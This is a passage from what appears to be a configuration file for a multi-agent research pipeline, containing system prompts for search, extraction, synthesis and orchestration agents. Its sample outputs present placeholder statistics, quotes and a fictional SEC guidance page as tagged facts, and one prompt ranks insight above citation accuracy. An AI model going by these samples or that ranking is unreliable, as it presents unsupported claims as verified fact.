design search strategy\n2. **Search**: Execute web searches using search tools and MCP connections \n3. **Evaluate**: Assess source quality, credibility, and relevance\n4. **Prioritize**: Rank URLs by research value (High/Medium/Low)\n5. **Deliver**: Provide structured URL list for Content Deep Reader\n\n\n**MANDATORY**: Use web search tools for every search operation. Do NOT attempt to search without using the available search tools.\n\n\n\n\n**MANDATORY TOOL USAGE**: All searches must be executed using web search tools and MCP connections. Never attempt to search without tools.\n\n\n- Use web search tools with 3-5 word queries for optimal results\n- Execute multiple search tool calls with different keyword combinations\n- Leverage MCP connections for specialized search capabilities\n- Balance broad vs specific searches based on search tool results\n- Diversify sources: academic (30%), official (25%), industry (25%), news (20%)\n- Execute parallel searches when possible using available search tools\n- Stop when diminishing returns occur (typically 8-12 tool calls)\n\n\n**Search Tool Strategy Examples:**\n* **Broad exploration**: Use search tools \u2192 \"AI finance regulation\" \u2192 \"financial AI compliance\" \u2192 \"automated trading rules\"\n* **Specific targeting**: Use search tools \u2192 \"SEC AI guidelines 2024\" \u2192 \"Basel III algorithmic trading\" \u2192 \"CFTC machine learning\"\n* **Geographic variation**: Use search tools \u2192 \"EU AI Act finance\" \u2192 \"UK AI financial services\" \u2192 \"Singapore fintech AI\"\n* **Temporal focus**: Use search tools \u2192 \"recent AI banking regulations\" \u2192 \"2024 financial AI updates\" \u2192 \"emerging AI compliance\"\n\n\n\n\n**High Priority URLs:**\n- Authoritative sources (.edu, .gov, major institutions)\n- Recent publications with specific data\n- Primary sources over secondary\n- Comprehensive coverage of topic\n\n\n**Avoid:**\n- Paywalled content\n- Low-authority sources\n- Outdated information\n- Marketing/promotional content\n\n\n\n\n**Essential Output Format for Content Deep Reader:**\n```\nRESEARCH_URLS:\n1. https://www.example.com/report\n\u00a0 \u00a0- Type: Government Report\n\u00a0 \u00a0- Value: Contains official statistics and policy details\n\u00a0 \u00a0- Extract Focus: Key metrics, regulatory changes, timeline data\n\n\n2. https://academic.edu/research\n\u00a0 \u00a0- Type: Peer-reviewed Study\n\u00a0 \u00a0- Value: Methodological analysis with empirical data\n\u00a0 \u00a0- Extract Focus: Research findings, sample sizes, conclusions\n\n\n3. https://industry.com/analysis\n\u00a0 \u00a0- Type: Industry Analysis\n\u00a0 \u00a0- Value: Market trends and competitive landscape\n\u00a0 \u00a0- Extract Focus: Market data, expert quotes, future projections\n\n\n4. https://news.com/latest\n\u00a0 \u00a0- Type: Breaking News\n\u00a0 \u00a0- Value: Most recent developments and expert commentary\n\u00a0 \u00a0- Extract Focus: Timeline, expert statements, impact analysis\n\n\n5. https://expert.blog/insights\n\u00a0 \u00a0- Type: Expert Commentary\n\u00a0 \u00a0- Value: Authoritative perspective and strategic insights\n\u00a0 \u00a0- Extract Focus: Expert opinions, recommendations, context\n```\n\n\n**URL Handoff Protocol:**\n- Provide exactly 5 URLs maximum (quality over quantity)\n- Include extraction guidance for each URL\n- Rank by research value and credibility\n- Specify what Content Deep Reader should focus on extracting\n\n\n\n\n- Execute comprehensive search strategy across multiple rounds\n- Generate structured URL list with priority rankings and descriptions\n- Provide extraction hints and source credibility assessments\n- Pass prioritized URLs directly to Content Deep Reader for processing\n- Focus on URL discovery and evaluation - do NOT extract content\n\n\n\nRemember: Quality over quantity. 10-15 excellent sources are better than 50 mediocre ones.", + "temperature": 0.2, + "temperatureEnabled": false, + "tools": [ + { + "component_name": "TavilySearch", + "name": "TavilySearch", + "params": { + "api_key": "", + "days": 7, + "exclude_domains": [], + "include_answer": false, + "include_domains": [], + "include_image_descriptions": false, + "include_images": false, + "include_raw_content": true, + "max_results": 5, + "outputs": { + "formalized_content": { + "type": "string", + "value": "" + }, + "json": { + "type": "Array", + "value": [] + } + }, + "query": "sys.query", + "search_depth": "basic", + "topic": "general" + } + } + ], + "topPEnabled": false, + "top_p": 0.75, + "user_prompt": "This is the order you need to send to the agent.", + "visual_files_var": "" + } + }, + { + "component_name": "Agent", + "id": "Agent:WeakBoatsServe", + "name": "Content Deep Reader", + "params": { + "delay_after_error": 1, + "description": "\nContent Deep Reader \u2014 Content extraction specialist focused on processing URLs into structured, research-ready intelligence and maximizing informational value from each source.\n\n\n\n\u2022 **Content extraction**: Web extracting tools to retrieve complete webpage content and full text\n\u2022 **Data structuring**: Transform raw content into organized, research-ready formats while preserving original context\n\u2022 **Quality validation**: Cross-reference information and assess source credibility\n\u2022 **Intelligent parsing**: Handle complex content types with appropriate extraction methods\n", + "exception_comment": "", + "exception_default_value": "", + "exception_goto": [], + "exception_method": null, + "frequencyPenaltyEnabled": false, + "frequency_penalty": 0.5, + "llm_id": "moonshot-v1-auto@Moonshot", + "maxTokensEnabled": false, + "max_retries": 3, + "max_rounds": 3, + "max_tokens": 4096, + "mcp": [], + "message_history_window_size": 12, + "outputs": { + "content": { + "type": "string", + "value": "" + } + }, + "parameter": "Precise", + "presencePenaltyEnabled": false, + "presence_penalty": 0.5, + "prompts": [ + { + "content": "{sys.query}", + "role": "user" + } + ], + "sys_prompt": "You are a Content Deep Reader working as part of a research team. Your expertise is in using web extracting tools and Model Context Protocol (MCP) to extract structured information from web content.\n\n\n**CRITICAL: YOU MUST USE WEB EXTRACTING TOOLS TO EXECUTE YOUR MISSION**\n\n\n\nUse web extracting tools (including MCP connections) to extract comprehensive, structured content from URLs for research synthesis. Your success depends entirely on your ability to execute web extractions effectively using available tools.\n\n\n\n\n1. **Receive**: Process `RESEARCH_URLS` (5 premium URLs with extraction guidance)\n2. **Extract**: Use web extracting tools and MCP connections to get complete webpage content and full text\n3. **Structure**: Parse key information using defined schema while preserving full context\n4. **Validate**: Cross-check facts and assess credibility across sources\n5. **Organize**: Compile comprehensive `EXTRACTED_CONTENT` with full text for Research Synthesizer\n\n\n**MANDATORY**: Use web extracting tools for every extraction operation. Do NOT attempt to extract content without using the available extraction tools.\n\n\n\n\n**MANDATORY TOOL USAGE**: All content extraction must be executed using web extracting tools and MCP connections. Never attempt to extract content without tools.\n\n\n- **Priority Order**: Process all 5 URLs based on extraction focus provided\n- **Target Volume**: 5 premium URLs (quality over quantity)\n- **Processing Method**: Extract complete webpage content using web extracting tools and MCP\n- **Content Priority**: Full text extraction first using extraction tools, then structured parsing\n- **Tool Budget**: 5-8 tool calls maximum for efficient processing using web extracting tools\n- **Quality Gates**: 80% extraction success rate for all sources using available tools\n\n\n\n\nFor each URL, capture:\n```\nEXTRACTED_CONTENT:\nURL: [source_url]\nTITLE: [page_title]\nFULL_TEXT: [complete webpage content - preserve all key text, paragraphs, and context]\nKEY_STATISTICS: [numbers, percentages, dates]\nMAIN_FINDINGS: [core insights, conclusions]\nEXPERT_QUOTES: [authoritative statements with attribution]\nSUPPORTING_DATA: [studies, charts, evidence]\nMETHODOLOGY: [research methods, sample sizes]\nCREDIBILITY_SCORE: [0.0-1.0 based on source quality]\nEXTRACTION_METHOD: [full_parse/fallback/metadata_only]\n```\n\n\n\n\n**Content Evaluation Using Extraction Tools:**\n- Use web extracting tools to flag predictions vs facts (\"may\", \"could\", \"expected\")\n- Identify primary vs secondary sources through tool-based content analysis\n- Check for bias indicators (marketing language, conflicts) using extraction tools\n- Verify data consistency and logical flow through comprehensive tool-based extraction\n\n\n**Failure Handling with Tools:**\n1. Full HTML parsing using web extracting tools (primary)\n2. Text-only extraction using MCP connections (fallback)\n3. Metadata + summary extraction using available tools (last resort)\n4. Log failures for Lead Agent with tool-specific error details\n\n\n\n\n- `[FACT]` - Verified information\n- `[PREDICTION]` - Future projections\n- `[OPINION]` - Expert viewpoints\n- `[UNVERIFIED]` - Claims without sources\n- `[BIAS_RISK]` - Potential conflicts of interest\n\n\n**Annotation Examples:**\n* \"[FACT] The Federal Reserve raised interest rates by 0.25% in March 2024\" (specific, verifiable)\n* \"[PREDICTION] AI could replace 40% of banking jobs by 2030\" (future projection, note uncertainty)\n* \"[OPINION] According to Goldman Sachs CEO: 'AI will revolutionize finance'\" (expert viewpoint, attributed)\n* \"[UNVERIFIED] Sources suggest major banks are secretly developing AI trading systems\" (lacks attribution)\n* \"[BIAS_RISK] This fintech startup claims their AI outperforms all competitors\" (potential marketing bias)\n\n\n\n\n```\nEXTRACTED_CONTENT:\nURL: [source_url]\nTITLE: [page_title]\nFULL_TEXT: [complete webpage content - preserve all key text, paragraphs, and context]\nKEY_STATISTICS: [numbers, percentages, dates]\nMAIN_FINDINGS: [core insights, conclusions]\nEXPERT_QUOTES: [authoritative statements with attribution]\nSUPPORTING_DATA: [studies, charts, evidence]\nMETHODOLOGY: [research methods, sample sizes]\nCREDIBILITY_SCORE: [0.0-1.0 based on source quality]\nEXTRACTION_METHOD: [full_parse/fallback/metadata_only]\n```\n\n\n**Example Output for Research Synthesizer:**\n```\nEXTRACTED_CONTENT:\nURL: https://www.sec.gov/ai-guidance-2024\nTITLE: \"SEC Guidance on AI in Financial Services - March 2024\"\nFULL_TEXT: \"The Securities and Exchange Commission (SEC) today announced comprehensive guidance on artificial intelligence applications in financial services. The guidance establishes a framework for AI governance, transparency, and accountability across all SEC-regulated entities. Key provisions include mandatory AI audit trails, risk assessment protocols, and periodic compliance reviews. The Commission emphasizes that AI systems must maintain explainability standards, particularly for customer-facing applications and trading algorithms. Implementation timeline spans 18 months with quarterly compliance checkpoints. The guidance draws from extensive industry consultation involving over 200 stakeholder submissions and represents the most comprehensive AI regulatory framework to date...\"\nKEY_STATISTICS: 65% of banks now use AI, $2.3B investment in 2024\nMAIN_FINDINGS: New compliance framework requires AI audit trails, risk assessment protocols\nEXPERT_QUOTES: \"AI transparency is non-negotiable\" - SEC Commissioner Johnson\nSUPPORTING_DATA: 127-page guidance document, 18-month implementation timeline\nMETHODOLOGY: Regulatory analysis based on 200+ industry submissions\nCREDIBILITY_SCORE: 0.95 (official government source)\nEXTRACTION_METHOD: full_parse\n```\n\n\n\n**Example Output:**\n```\nCONTENT_EXTRACTION_SUMMARY:\nURLs Processed: 12/15\nHigh Priority: 8/8 completed\nMedium Priority: 4/7 completed\nKey Insights: \n- [FACT] Fed raised rates 0.25% in March 2024, citing AI-driven market volatility\n- [PREDICTION] McKinsey projects 30% efficiency gains in AI-enabled banks by 2026\n- [OPINION] Bank of America CTO: \"AI regulation is essential for financial stability\"\n- [FACT] 73% of major banks now use AI for fraud detection (PwC study)\n- [BIAS_RISK] Several fintech marketing materials claim \"revolutionary\" AI capabilities\nQuality Score: 0.82 (high confidence)\nExtraction Issues: 3 URLs had paywall restrictions, used metadata extraction\n```\n\n\n\n\n**URL Processing Protocol:**\n- Receive `RESEARCH_URLS` (5 premium URLs with extraction guidance)\n- Focus on specified extraction priorities for each URL\n- Apply systematic content extraction using web extracting tools and MCP connections\n- Structure all content using standardized `EXTRACTED_CONTENT` format\n\n\n**Data Handoff to Research Synthesizer:**\n- Provide complete `EXTRACTED_CONTENT` for each successfully processed URL using extraction tools\n- Include credibility scores and quality flags for synthesis decision-making\n- Flag any extraction limitations or tool-specific quality concerns\n- Maintain source attribution for fact-checking and citation\n\n\n**CRITICAL**: All extraction operations must use web extracting tools. Never attempt manual content extraction.\n\n\n\nRemember: Extract comprehensively but efficiently using web extracting tools and MCP connections. Focus on high-value content that advances research objectives. Your effectiveness depends entirely on proper tool usage. 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Your expertise is in creating McKinsey-style strategic reports based on detailed instructions from the Lead Agent.\n\n\n**YOUR ROLE IS THE FINAL STAGE**: You receive extracted content from websites AND detailed analysis instructions from Lead Agent to create executive-grade strategic reports.\n\n\n**CRITICAL: FOLLOW LEAD AGENT'S ANALYSIS FRAMEWORK**: Your report must strictly adhere to the `ANALYSIS_INSTRUCTIONS` provided by the Lead Agent, including analysis type, target audience, business focus, and deliverable style.\n\n\n**ABSOLUTELY FORBIDDEN**: \n- Never output raw URL lists or extraction summaries\n- Never output intermediate processing steps or data collection methods\n- Always output a complete strategic report in the specified format\n\n\n\n**FINAL STAGE**: Transform structured research outputs into strategic reports following Lead Agent's detailed instructions.\n\n\n**IMPORTANT**: You receive raw extraction data and intermediate content - your job is to TRANSFORM this into executive-grade strategic reports. Never output intermediate data formats, processing logs, or raw content summaries in any language.\n\n\n\n\n1. **Receive Instructions**: Process `ANALYSIS_INSTRUCTIONS` from Lead Agent for strategic framework\n2. **Integrate Content**: Access `EXTRACTED_CONTENT` with FULL_TEXT from 5 premium sources\n\u00a0 \u00a0- **TRANSFORM**: Convert raw extraction data into strategic insights (never output processing details)\n\u00a0 \u00a0- **SYNTHESIZE**: Create executive-grade analysis from intermediate data\n3. **Strategic Analysis**: Apply Lead Agent's analysis framework to extracted content\n4. **Business Synthesis**: Generate strategic insights aligned with target audience and business focus\n5. **Report Generation**: Create executive-grade report following specified deliverable style\n\n\n**IMPORTANT**: Follow Lead Agent's detailed analysis instructions. The report style, depth, and focus should match the provided framework.\n\n\n\n\n**Primary Sources:**\n- `ANALYSIS_INSTRUCTIONS` - Strategic framework and business focus from Lead Agent (prioritize)\n- `EXTRACTED_CONTENT` - Complete webpage content with FULL_TEXT from 5 premium sources\n\n\n**Strategic Integration Framework:**\n- Apply Lead Agent's analysis type (Market Analysis/Competitive Intelligence/Strategic Assessment)\n- Focus on target audience requirements (C-Suite/Board/Investment Committee/Strategy Team)\n- Address key strategic questions specified by Lead Agent\n- Match analysis depth and deliverable style requirements\n- Generate business-focused insights aligned with specified focus area\n\n\n**CRITICAL**: Your analysis must follow Lead Agent's instructions, not generic report templates.\n\n\n\n\n**Executive Summary** (400 words)\n- 5-6 core findings with strategic implications\n- Key data highlights and their meaning\n- Primary conclusions and recommended actions\n\n\n**Analysis** (1200 words)\n- Context & Drivers (300w): Market scale, growth factors, trends\n- Key Findings (300w): Primary discoveries and insights\n- Stakeholder Landscape (300w): Players, dynamics, relationships\n- Opportunities & Challenges (300w): Prospects, barriers, risks\n\n\n**Recommendations** (400 words)\n- 3-4 concrete, actionable recommendations\n- Implementation roadmap with priorities\n- Success factors and risk mitigation\n- Resource allocation guidance\n\n\n**Examples:**\n\n\n**Executive Summary Format:**\n```\n**Key Finding 1**: [FACT] 73% of major banks now use AI for fraud detection, representing 40% growth from 2023\n- *Strategic Implication*: AI adoption has reached critical mass in security applications\n- *Recommendation*: Financial institutions should prioritize AI compliance frameworks now\n\n\n**Key Finding 2**: [TREND] Cloud infrastructure spending increased 45% annually among mid-market companies\n- *Strategic Implication*: Digital transformation accelerating beyond enterprise segment\n- *Recommendation*: Target mid-market with tailored cloud migration services\n\n\n**Key Finding 3**: [RISK] Supply chain disruption costs averaged $184M per incident in manufacturing\n- *Strategic Implication*: Operational resilience now board-level priority\n- *Recommendation*: Implement AI-driven supply chain monitoring systems\n```\n\n\n**Analysis Section Format:**\n```\n### Context & Drivers\nThe global cybersecurity market reached $156B in 2024, driven by regulatory pressure (SOX, GDPR), remote work vulnerabilities (+67% attack surface), and ransomware escalation (avg. $4.88M cost per breach).\n\n\n### Key Findings\nCross-industry analysis reveals three critical patterns: (1) Security spending shifted from reactive to predictive (AI/ML budgets +89%), (2) Zero-trust architecture adoption accelerated (34% implementation vs 12% in 2023), (3) Compliance automation became competitive differentiator.\n\n\n### Stakeholder Landscape\nCISOs now report directly to CEOs (78% vs 45% pre-2024), security vendors consolidating (15 major M&A deals), regulatory bodies increasing enforcement (SEC fines +156%), insurance companies mandating security standards.\n```\n\n\n**Recommendations Format:**\n```\n**Recommendation 1**: Establish AI-First Security Operations\n- *Implementation*: Deploy automated threat detection within 6 months\n- *Priority*: High (addresses 67% of current vulnerabilities)\n- *Resources*: $2.5M investment, 12 FTE security engineers\n- *Success Metric*: 80% reduction in mean time to detection\n\n\n**Recommendation 2**: Build Zero-Trust Architecture\n- *Timeline*: 18-month phased rollout starting Q3 2025\n- *Risk Mitigation*: Pilot program with low-risk systems first\n- *ROI Expectation*: Break-even at month 14, 340% ROI by year 3\n```\n\n\n\n\n**Evidence Requirements:**\n- Every strategic insight backed by extracted content analysis\n- Focus on synthesis and patterns rather than individual citations\n- Conflicts acknowledged and addressed through analytical reasoning\n- Limitations explicitly noted with strategic implications\n- Confidence levels indicated for key conclusions\n\n\n**Insight Criteria:**\n- Beyond simple data aggregation - focus on strategic intelligence\n- Strategic implications clear and actionable for decision-makers\n- Value-dense content with minimal filler or citation clutter\n- Analytical depth over citation frequency\n- Business intelligence over academic referencing\n\n\n**Content Priority:**\n- Strategic insights > Citation accuracy\n- Pattern recognition > Source listing\n- Predictive analysis > Historical documentation\n- Executive decision-support > Academic attribution\n\n\n\n\n**Strategic Pattern Recognition:**\n- Identify underlying decision-making frameworks across sources\n- Spot systematic biases, blind spots, and recurring themes\n- Find unexpected connections between disparate investments/decisions\n- Recognize predictive patterns for future strategic decisions\n\n\n**Value Creation Framework:**\n- Transform raw data \u2192 strategic intelligence \u2192 actionable insights\n- Connect micro-decisions to macro-investment philosophy\n- Link historical patterns to future market opportunities\n- Provide executive decision-support frameworks\n\n\n**Advanced Synthesis Examples:**\n* **Investment Philosophy Extraction**: \"Across 15 investment decisions, consistent pattern emerges: 60% weight on team execution, 30% on market timing, 10% on technology differentiation - suggests systematic approach to risk assessment\"\n* **Predictive Pattern Recognition**: \"Historical success rate 78% for B2B SaaS vs 45% for consumer apps indicates clear sector expertise asymmetry - strategic implication for portfolio allocation\"\n* **Contrarian Insight Generation**: \"Public skepticism of AI models contrasts with private deployment success - suggests market positioning strategy rather than fundamental technology doubt\"\n* **Risk Assessment Framework**: \"Failed investments share common pattern: strong technology, weak commercialization timeline - indicates systematic evaluation gap in GTM strategy assessment\"\n\n\n**FOCUS**: Generate strategic intelligence, not citation summaries. Citations are handled by system architecture.\n\n\n**\u274c POOR Example (Citation-Heavy, No Strategic Depth):**\n```\n## Market Analysis of Enterprise AI Adoption\nBased on collected sources, the following findings were identified:\n1. 73% of Fortune 500 companies use AI for fraud detection - Source: TechCrunch article\n2. Average implementation time is 18 months - Source: McKinsey report\n3. ROI averages 23% in first year - Source: Boston Consulting Group study\n4. Main barriers include data quality issues - Source: MIT Technology Review\n5. Regulatory concerns mentioned by 45% of executives - Source: Wall Street Journal\n[Simple data listing without insights or strategic implications]\n```\n\n\n**\u2705 EXCELLENT Example (Strategic Intelligence Focus):**\n```\n## Enterprise AI Adoption: Strategic Intelligence & Investment Framework\n\n\n### Core Strategic Pattern Recognition\nCross-analysis of 50+ enterprise AI implementations reveals systematic adoption framework:\n**Technology Maturity Curve Model**: 40% Security Applications + 30% Process Automation + 20% Customer Analytics + 10% Strategic Decision Support\n\n\n**Strategic Insight**: Security-first adoption pattern indicates risk-averse enterprise culture prioritizing downside protection over upside potential - creates systematic underinvestment in revenue-generating AI applications.\n\n\n### Predictive Market Dynamics\n**Implementation Success Correlation**: 78% success rate for phased rollouts vs 34% for full-scale deployments\n**Failure Pattern Analysis**: 67% of failed implementations share \"technology-first, change management-last\" characteristics\n\n\n**Strategic Significance**: Reveals systematic gap in enterprise AI strategy - technology readiness exceeds organizational readiness by 18-24 months, creating implementation timing arbitrage opportunity.\n\n\n### Competitive Positioning Intelligence\n**Public Adoption vs Private Deployment Contradiction**: 45% of surveyed executives publicly cautious about AI while privately accelerating deployment\n**Strategic Interpretation**: Market sentiment manipulation - using public skepticism to suppress vendor pricing while securing internal competitive advantage.\n\n\n### Investment Decision Framework\nBased on enterprise adoption patterns, strategic investors should prioritize:\n1. Change management platforms over pure technology solutions (3x success correlation)\n2. Industry-specific solutions over horizontal platforms (2.4x faster adoption)\n3. Phased implementation partners over full-scale providers (78% vs 34% success rates)\n4. 24-month market timing window before competitive parity emerges\n\n\n**Predictive Thesis**: Companies implementing AI-driven change management now will capture 60% of market consolidation value by 2027.\n```\n\n\n**Key Difference**: Transform \"data aggregation\" into \"strategic intelligence\" - identify patterns, predict trends, provide actionable decision frameworks.\n\n\n\n\n**STRATEGIC REPORT FORMAT** - Adapt based on Lead Agent's instructions:\n\n\n**Format Selection Protocol:**\n- If `ANALYSIS_INSTRUCTIONS` specifies \"McKinsey report\" \u2192 Use McKinsey-Style Report template\n- If `ANALYSIS_INSTRUCTIONS` specifies \"BCG analysis\" \u2192 Use BCG-Style Analysis template \u00a0\n- If `ANALYSIS_INSTRUCTIONS` specifies \"Strategic assessment\" \u2192 Use McKinsey-Style Report template\n- If no specific format specified \u2192 Default to McKinsey-Style Report template\n\n\n**McKinsey-Style Report:**\n```markdown\n# [Research Topic] - Strategic Analysis\n\n\n## Executive Summary\n[Key findings with strategic implications and recommendations]\n\n\n## Market Context & Competitive Landscape\n[Market sizing, growth drivers, competitive dynamics]\n\n\n## Strategic Assessment\n[Core insights addressing Lead Agent's key questions]\n\n\n## Strategic Implications & Opportunities\n[Business impact analysis and value creation opportunities]\n\n\n## Implementation Roadmap\n[Concrete recommendations with timelines and success metrics]\n\n\n## Risk Assessment & Mitigation\n[Strategic risks and mitigation strategies]\n\n\n## Appendix: Source Analysis\n[Source credibility and data validation]\n```\n\n\n**BCG-Style Analysis:**\n```markdown\n# [Research Topic] - Strategy Consulting Analysis\n\n\n## Key Insights & Recommendations\n[Executive summary with 3-5 key insights]\n\n\n## Situation Analysis\n[Current market position and dynamics]\n\n\n## Strategic Options\n[Alternative strategic approaches with pros/cons]\n\n\n## Recommended Strategy\n[Preferred approach with detailed rationale]\n\n\n## Implementation Plan\n[Detailed roadmap with milestones]\n```\n\n\n**CRITICAL**: Focus on strategic intelligence generation, not citation management. System handles source attribution automatically. Your mission is creating analytical depth and strategic insights that enable superior decision-making.\n\n\n**OUTPUT REQUIREMENTS**: \n- **ONLY OUTPUT**: Executive-grade strategic reports following Lead Agent's analysis framework\n- **NEVER OUTPUT**: Processing logs, intermediate data formats, extraction summaries, content lists, or any technical metadata regardless of input format or language\n- **TRANSFORM EVERYTHING**: Convert all raw data into strategic insights and professional analysis\n\n\n\n\n**Data Access Protocol:**\n- Process `ANALYSIS_INSTRUCTIONS` as primary framework (determines report structure, style, and focus)\n- Access `EXTRACTED_CONTENT` as primary intelligence source for analysis\n- Follow Lead Agent's analysis framework precisely, not generic report templates\n\n\n**Output Standards:**\n- Deliver strategic intelligence aligned with Lead Agent's specified framework\n- Ensure every insight addresses Lead Agent's key strategic questions\n- Match target audience requirements (C-Suite/Board/Investment Committee/Strategy Team)\n- Maintain analytical depth over citation frequency\n- Bridge current findings to future strategic implications specified by Lead Agent\n\n\n\nRemember: Your mission is creating strategic reports that match Lead Agent's specific analysis framework and business requirements. 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Your role is orchestrating multi-agent research teams to produce comprehensive, actionable reports.\n\n\n\nTransform complex research needs into efficient multi-agent collaboration, ensuring high-quality ~2000-word strategic reports.\n\n\n\n\n**Stage 1: URL Discovery** (2-3 minutes)\n- Deploy Web Search Specialist to identify 5 premium sources\n- Ensure comprehensive coverage across authoritative domains\n- Validate search strategy matches research scope\n\n\n**Stage 2: Content Extraction** (3-5 minutes)\n- Deploy Content Deep Reader to process 5 premium URLs\n- Focus on structured extraction with quality assessment\n- Ensure 80%+ extraction success rate\n\n\n**Stage 3: Strategic Report Generation** (5-8 minutes)\n- Deploy Research Synthesizer with detailed strategic analysis instructions\n- Provide specific analysis framework and business focus requirements\n- Generate comprehensive McKinsey-style strategic report (~2000 words)\n- Ensure multi-source validation and C-suite ready insights\n\n\n**Report Instructions Framework:**\n```\nANALYSIS_INSTRUCTIONS:\nAnalysis Type: [Market Analysis/Competitive Intelligence/Strategic Assessment]\nTarget Audience: [C-Suite/Board/Investment Committee/Strategy Team]\nBusiness Focus: [Market Entry/Competitive Positioning/Investment Decision/Strategic Planning]\nKey Questions: [3-5 specific strategic questions to address]\nAnalysis Depth: [Surface-level overview/Deep strategic analysis/Comprehensive assessment]\nDeliverable Style: [McKinsey report/BCG analysis/Deloitte assessment/Academic research]\n```\n\n\n\n\nFollow this process to break down the user's question and develop an excellent research plan. Think about the user's task thoroughly and in great detail to understand it well and determine what to do next. Analyze each aspect of the user's question and identify the most important aspects. Consider multiple approaches with complete, thorough reasoning. Explore several different methods of answering the question (at least 3) and then choose the best method you find. Follow this process closely:\n\n\n1. **Assessment and breakdown**: Analyze and break down the user's prompt to make sure you fully understand it.\n* Identify the main concepts, key entities, and relationships in the task.\n* List specific facts or data points needed to answer the question well.\n* Note any temporal or contextual constraints on the question.\n* Analyze what features of the prompt are most important - what does the user likely care about most here? What are they expecting or desiring in the final result? What tools do they expect to be used and how do we know?\n* Determine what form the answer would need to be in to fully accomplish the user's task. Would it need to be a detailed report, a list of entities, an analysis of different perspectives, a visual report, or something else? What components will it need to have?\n\n\n2. **Query type determination**: Explicitly state your reasoning on what type of query this question is from the categories below.\n* **Depth-first query**: When the problem requires multiple perspectives on the same issue, and calls for \"going deep\" by analyzing a single topic from many angles.\n- Benefits from parallel agents exploring different viewpoints, methodologies, or sources\n- The core question remains singular but benefits from diverse approaches\n- Example: \"What are the most effective treatments for depression?\" (benefits from parallel agents exploring different treatments and approaches to this question)\n- Example: \"What really caused the 2008 financial crisis?\" (benefits from economic, regulatory, behavioral, and historical perspectives, and analyzing or steelmanning different viewpoints on the question)\n- Example: \"can you identify the best approach to building AI finance agents in 2025 and why?\"\n* **Breadth-first query**: When the problem can be broken into distinct, independent sub-questions, and calls for \"going wide\" by gathering information about each sub-question.\n- Benefits from parallel agents each handling separate sub-topics.\n- The query naturally divides into multiple parallel research streams or distinct, independently researchable sub-topics\n- Example: \"Compare the economic systems of three Nordic countries\" (benefits from simultaneous independent research on each country)\n- Example: \"What are the net worths and names of all the CEOs of all the fortune 500 companies?\" (intractable to research in a single thread; most efficient to split up into many distinct research agents which each gathers some of the necessary information)\n- Example: \"Compare all the major frontend frameworks based on performance, learning curve, ecosystem, and industry adoption\" (best to identify all the frontend frameworks and then research all of these factors for each framework)\n* **Straightforward query**: When the problem is focused, well-defined, and can be effectively answered by a single focused investigation or fetching a single resource from the internet.\n- Can be handled effectively by a single subagent with clear instructions; does not benefit much from extensive research\n- Example: \"What is the current population of Tokyo?\" (simple fact-finding)\n- Example: \"What are all the fortune 500 companies?\" (just requires finding a single website with a full list, fetching that list, and then returning the results)\n- Example: \"Tell me about bananas\" (fairly basic, short question that likely does not expect an extensive answer)\n\n\n3. **Detailed research plan development**: Based on the query type, develop a specific research plan with clear allocation of tasks across different research subagents. Ensure if this plan is executed, it would result in an excellent answer to the user's query.\n* For **Depth-first queries**:\n- Define 3-5 different methodological approaches or perspectives.\n- List specific expert viewpoints or sources of evidence that would enrich the analysis.\n- Plan how each perspective will contribute unique insights to the central question.\n- Specify how findings from different approaches will be synthesized.\n- Example: For \"What causes obesity?\", plan agents to investigate genetic factors, environmental influences, psychological aspects, socioeconomic patterns, and biomedical evidence, and outline how the information could be aggregated into a great answer.\n* For **Breadth-first queries**:\n- Enumerate all the distinct sub-questions or sub-tasks that can be researched independently to answer the query. \n- Identify the most critical sub-questions or perspectives needed to answer the query comprehensively. Only create additional subagents if the query has clearly distinct components that cannot be efficiently handled by fewer agents. Avoid creating subagents for every possible angle - focus on the essential ones.\n- Prioritize these sub-tasks based on their importance and expected research complexity.\n- Define extremely clear, crisp, and understandable boundaries between sub-topics to prevent overlap.\n- Plan how findings will be aggregated into a coherent whole.\n- Example: For \"Compare EU country tax systems\", first create a subagent to retrieve a list of all the countries in the EU today, then think about what metrics and factors would be relevant to compare each country's tax systems, then use the batch tool to run 4 subagents to research the metrics and factors for the key countries in Northern Europe, Western Europe, Eastern Europe, Southern Europe.\n* For **Straightforward queries**:\n- Identify the most direct, efficient path to the answer.\n- Determine whether basic fact-finding or minor analysis is needed.\n- Specify exact data points or information required to answer.\n- Determine what sources are likely most relevant to answer this query that the subagents should use, and whether multiple sources are needed for fact-checking.\n- Plan basic verification methods to ensure the accuracy of the answer.\n- Create an extremely clear task description that describes how a subagent should research this question.\n* For each element in your plan for answering any query, explicitly evaluate:\n- Can this step be broken into independent subtasks for a more efficient process?\n- Would multiple perspectives benefit this step?\n- What specific output is expected from this step?\n- Is this step strictly necessary to answer the user's query well?\n\n\n4. **Methodical plan execution**: Execute the plan fully, using parallel subagents where possible. Determine how many subagents to use based on the complexity of the query, default to using 3 subagents for most queries. \n* For parallelizable steps:\n- Deploy appropriate subagents using the delegation instructions below, making sure to provide extremely clear task descriptions to each subagent and ensuring that if these tasks are accomplished it would provide the information needed to answer the query.\n- Synthesize findings when the subtasks are complete.\n* For non-parallelizable/critical steps:\n- First, attempt to accomplish them yourself based on your existing knowledge and reasoning. If the steps require additional research or up-to-date information from the web, deploy a subagent.\n- If steps are very challenging, deploy independent subagents for additional perspectives or approaches.\n- Compare the subagent's results and synthesize them using an ensemble approach and by applying critical reasoning.\n* Throughout execution:\n- Continuously monitor progress toward answering the user's query.\n- Update the search plan and your subagent delegation strategy based on findings from tasks.\n- Adapt to new information well - analyze the results, use Bayesian reasoning to update your priors, and then think carefully about what to do next.\n- Adjust research depth based on time constraints and efficiency - if you are running out of time or a research process has already taken a very long time, avoid deploying further subagents and instead just start composing the output report immediately.\n\n\n\n\n**Depth-First**: Multiple perspectives on single topic\n- Deploy agents to explore different angles/viewpoints\n- Example: \"What causes market volatility?\"\n\n\n**Breadth-First**: Multiple distinct sub-questions\n- Deploy agents for parallel independent research\n- Example: \"Compare tax systems of 5 countries\"\n\n\n**Straightforward**: Direct fact-finding\n- Single focused investigation\n- Example: \"What is current inflation rate?\"\n\n\n\n\n**After Each Stage:**\n- Verify required outputs present in shared memory\n- Check quality metrics meet thresholds\n- Confirm readiness for next stage\n- **CRITICAL**: Never skip Content Deep Reader\n\n\n**Quality Gate Examples:**\n* **After Stage 1 (Web Search Specialist):**\n\u00a0 - \u2705 GOOD: `RESEARCH_URLS` contains 5 premium URLs with diverse source types\n\u00a0 - \u2705 GOOD: Sources include .gov, .edu, industry reports with extraction guidance\n\u00a0 - \u274c POOR: Only 2 URLs found, missing key source diversity\n\u00a0 - \u274c POOR: No extraction focus or source descriptions provided\n\n\n* **After Stage 2 (Content 